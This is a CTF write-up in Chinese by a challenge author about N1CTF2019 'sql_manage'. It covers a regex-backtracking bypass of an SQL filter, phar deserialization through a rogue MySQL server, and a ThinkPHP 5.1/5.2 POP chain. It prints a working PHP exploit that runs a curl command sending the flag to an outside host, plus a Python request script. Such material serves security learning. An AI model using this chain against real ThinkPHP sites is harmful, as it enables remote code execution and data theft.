N1CTF2019 sql_manage出题笔记

2019-09-14 约 279 字 预计阅读 2 分钟

声明:本文 【N1CTF2019 sql_manage出题笔记】 由作者 Smi1e 于 2019-09-14 10:49:51 首发 先知社区 曾经 浏览数 112 次

感谢 Smi1e 的辛苦付出!

前言

题目源码https://github.com/Nu1LCTF/n1ctf-2019
准备了好久的N1CTF终于结束了,师傅们都在很用心的出题和运维,然而还是出了不少事故,希望大佬们体谅一下orz!
膜@wonderkun师傅的非预期链(感觉大佬们都不想做我这道题,可能出的太烂了。)
这道题出题思路来自于TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain,但是核心还是tp5.2反序列化POP链挖掘(预期可以通杀5.1.x和5.2.x)。

正则回溯

这个点p牛在codebreaking已经出过题了,没想到还是难到了一大堆人。具体可以看p牛的文章
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
题目的正则

if(preg_match('/sleep|BENCHMARK|processlist|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
    die('Go out!!!');
}

使用select xx into/*1000000个a*/dumpfile;即可绕过。

Mysql Phar反序列化

很早之前@zsx师傅在文章Phar与Stream Wrapper造成PHP RCE的深入挖掘中提到了本地mysql LOAD DATA LOCAL INFILE可以触发phar反序列化。
这里提到了本地受限于这两个配置

[mysqld]
local-infile=1
secure_file_priv=""

但其实还受限于open_basedir

这其实也就是用Rogue Mysql Server只能读到/tmp/目录下文件的原因。
另外mysql用户还需要拥有insert权限,否则会执行报错,因此在题目中直接直接执行LOAD DATA LOCAL INFILE去触发phar反序列化是不行的。

@LoRexxar'师傅在今年的Tsec上分享的议题https://paper.seebug.org/998/中提到了mysql客户端任意文件读取可以配合上面的trick来进行phar反序列化。因为其原理就是当Mysql ClientRogue Mysql Server发送任意查询语句时,Rogue Mysql Server可以回复一个包含想要读取文件名的file-transfer请求,让Mysql Client执行LOAD DATA LOCAL INFILE语句把文件读取出来并发送给Rogue Mysql Server。此时我们把文件名格式改为phar://filename,让其执行LOAD DATA LOCAL INFILE语句即可触发phar反序列化。

ps:其实@zedd师傅在SUCTF出的题目Upload Labs 2中的预期解就是这个,他也发了文章https://xz.aliyun.com/t/6057#toc-6,当时我还想着跟我出的题撞了,没想到还是有很多人不知道,orz。

TP5.1.x-5.2.x反序列化POP链分析

因为Laravel的反序列化链实在太多了,而thinkphp的基本没有人提到过,只有前段时间的一篇文章挖掘暗藏ThinkPHP中的反序列利用链,所以我就尝试挖了一下tp5.1的。
原本想的是挖一条全新的链,但是仔细看了下发现入口点只能找到文章中提到的那个地方,所以就想着利用这个入口再挖一条,最后挖到了一条可以通杀tp5.1.x-5.2.x的,因为tp5.1的文章中已经公开了思路,所以这里就拿tp5.2出了题。
首先是入口点
think\process\pipes\windows

file_exists可以触发__toString方法

全局搜索__toString方法,跟进think\model\concern\Conversion

查看其toJson方法,继续跟进toArray方法。

在这里文章用$relation->visible($name);来触发Request类的__call方法,但是tp5.2中这个方法被删掉了。

我们来看一下getAttr方法


跟进getValue,漏洞点在这里。
我们依次回溯下$closure,$value,$this->data
$closure = $this->withAttr[$fieldName];$this->withAttr我们可控,看下$fieldName = $this->getRealFieldName($name);
跟进getRealFieldName

$strict默认为true,所以传入的字符串会原样返回。

传入的是$name,也是getAttr的参数$key,也是$data的键名。$data$this->data, $this->relation合并的结果,因此$closure我们可控。

再来看$value,跟进getData方法。

如果$this->data存在$fieldName键名,则返回对应的键值,根据上面的分析我们刚好可以进入这个if中,而$value的返回值就是$closure对应的键值,因此$value我们也可控。

回头看一下漏洞点,$closure,$value我们都可控,而$this->data是一个我们用来控制$closure,$value返回值的数组。

此时我们可以怎么利用呢?
Example:

其他的利用函数我并没有仔细去找,有兴趣的师傅可以找找看。

exp:
这个exp是我对着tp5.1的源码构造的可能和5.2有点不太一样,但是可以直接用。

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Smi1e" => "system");

        public function get($system)
        {
            $this->data = array("Smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("curl http://vps/ -d '`tac /flag`';");
    $payload = new think\process\pipes\Windows($Conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    echo urlencode(serialize($payload));
}
?>

sql_manage

首先在源码的配置文件中找到mysql的用户名和密码

查看可写目录

构造phar文件,使用正则回溯绕过限制写文件

if(preg_match('/sleep|BENCHMARK|processlist|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
        die('Go out!!!');
 }
#coding=utf-8
import requests
url = "http://47.91.213.248:8001/query"
a = 'a'*1000000
data = {
    "query": "select 0x123456 into/*{}*/dumpfile '/tmp/smi1e123.phar';".format(a),
    "code": "nuk9"
}
cookie = {
    "PHPSESSID":"ik01ngjcquttltalvf7vk6aqap"
}

print(requests.post(url=url,data=data,cookies=cookie).text)

load_file一下可以看到写入成功

使用这个项目https://github.com/Gifts/Rogue-MySql-Server 把文件名改为phar格式

host改为Rogue-MySql-Server地址,用户名密码随意。

服务端nc,然后执行任意sql语句触发phar反序列化即可收到flag。

后记

由于撞车ByteCTF和TMCTF,并没有很多师傅在刚这道题orz。出题时也踩了不少坑,emmm虽然这个题目出的很烂但是还是想说出题不易,希望师傅们认真对待。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now